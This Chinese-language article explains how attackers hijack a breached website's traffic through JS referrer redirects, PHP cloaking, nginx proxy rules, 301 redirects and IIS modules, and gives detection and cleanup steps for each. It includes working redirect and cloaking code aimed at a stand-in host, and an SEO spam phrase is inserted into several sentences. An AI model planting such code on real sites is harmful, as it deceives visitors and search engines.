攻擊者在入侵網站后百度劫持關鍵詞排名首頁代碼,常常會通過惡意劫持流量來獲取收益百度劫持關鍵詞排名首頁代碼,從而實現流量變現。有一些黑帽劫持的手法堪稱防不勝防,正常的訪問行為很難發(fā)現異常。今天給大家分享一下常見的網站劫持手法和排查思路。
我們可以按照基于不同隱藏目的的常見劫持手法,來做一個簡單的分類百度劫持關鍵詞排名首頁代碼:
1、將爬蟲與用戶正常訪問分開,實現搜索引擎快照劫持2、將移動端與PC端的訪問分開,實現移動端的流量劫持3、根據用戶訪問來源進行判斷,實現特定來源網站劫持4、如果獲取管理員的真實IP地址,實現特定區(qū)域的流量劫持5、按照訪問路徑/關鍵詞/時間段設置,實現特定路徑/關鍵詞/時間段的流量劫持基于以上,實現的方式有很多種,比如客戶端js劫持、服務端代碼劫持、301重定向、惡意反向代理、IIS模塊劫持等。
01、客戶端js劫持
在網頁中插入js腳本,通過js進行url跳轉,一般情況下,會通過js混淆加密來增加識別難度。
如下:通過js劫持從搜索引擎中來的流量。
<script>var s=document.referrer; if(s.indexOf("baidu")>0||s.indexOf("soso")>0||s.indexOf("google")>0||s.indexOf("yahoo")>0||s.indexOf("sogou")>0||s.indexOf("youdao")>0||s.indexOf("bing")>0){self.location='http://xintu.xxxx.com'; }</script>排查思路:查看網頁源代碼或者抓包分析http流量,找到源代碼中插入的js代碼,刪除js代碼后恢復。
02、服務端代碼劫持
網站源碼被篡改,在首頁或配置文件中引入惡意代碼。
如下:通過判斷User-agent與Referer,進行快照劫持。
<?phperror_reporting(0);//判斷是否為百度蜘蛛,然后進行內容劫持if(stripos($_SERVER["HTTP_USER_AGENT"],"baidu")>-1){$file = file_get_contents('http://xintu.xxxx.com');echo $file;exit;}//判斷是否來自百度搜索,然后進行url跳轉if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {Header("Location: http://xintu.xxxx.com/");//指定跳轉exit; }?>排查思路:查看網站首頁引入了哪些文件,依次訪問相關的文件源碼,確認可疑的代碼,去除包含文件后恢復。備份網站源碼及文件完整性驗證非常重要,可以幫助我們在上萬行的代碼中快速找到惡意代碼。
03、nginx反向代理劫持
以前遇到過一個網站做了網頁防篡改,無法通過修改網站源碼劫持,攻擊者通過修改nginx的配置文件,通過正則匹配url鏈接,配置proxy_pass代理轉發(fā)實現url劫持。
location ~ /[0-9a-z]+sc { proxy_pass https://xintu.xxxx.com/;}排查思路:總結url劫持規(guī)律,中間件配置文件也是需要關注的位置。
04、利用301重定向劫持
通過HTTP重定向實現301劫持。
<httpRedirect enabled="true" destination="http://xintu.xxxx.com/1.php" childOnly="true" httpResponseStatus="Permanent" />排查思路:可以檢查網站根目錄下的配置文件web.config,確認是否有相關設置。
05、IIS惡意模塊劫持
這種手法相對比較隱蔽,網站目錄中查不到webshell和掛馬頁面,但使用特定的路徑、Referer或者UA訪問,頁面會加載暗鏈。
排查思路:排查加載的異常dll文件,如沒有簽名、創(chuàng)建時間不匹配需重點關注??墒褂没鸾q劍或Process Monitor等工具協助排查。